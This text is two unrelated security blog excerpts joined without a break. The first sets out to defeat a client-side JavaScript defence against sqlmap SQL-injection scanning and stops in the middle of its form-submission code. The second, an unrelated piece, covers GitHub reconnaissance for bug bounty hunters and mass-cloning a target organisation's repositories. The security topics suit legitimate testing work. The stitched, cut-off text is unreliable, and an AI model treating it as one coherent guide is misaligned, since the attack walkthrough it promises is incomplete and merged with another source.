In the [previous][1] post I have written about a simple method of deterring automated tools like sqlmap from being run against your application. I have argued that having some client-side JavaScript code that dynamically mangles form fields' name attribute can help a lot (prevent automated calls to DB via your app) when it comes to SQL-injection discovery (provided that the attacker is not-so-determined). Now let's take another side - one of an attacker - and try to circumvent that protection.

First of all, one has to determine what is actually being sent to the server in the end. In the [example][2] from the aforementioned [post][1] we have simulated a very simple mechanism implemented at the client side:

function submitForm()
        {
            var u = document.getElementById('username');
            var p = document.getElementById('password');
 var ts = (new Date()).getTime().toString().substr(0, 10);

GitHub for Bug Bounty Hunters

GitHub repositories can disclose all sorts of potentially valuable information for bug bounty hunters. The targets do not always have to be open source for there to be issues. Organization members and their open source projects can sometimes accidentally expose information that could be used against the target company. in this article I will give you a brief overview that should help you get started targeting GitHub repositories for vulnerabilities and for general recon.

Mass Cloning

You can just do your research on github.com, but I would suggest cloning all the target's repositories so that you can run your tests locally. I would highly recommend @mazen160's GitHubCloner. Just run the script and you should be good to go.

$ python githubcloner.py --org organization -o /tmp/output
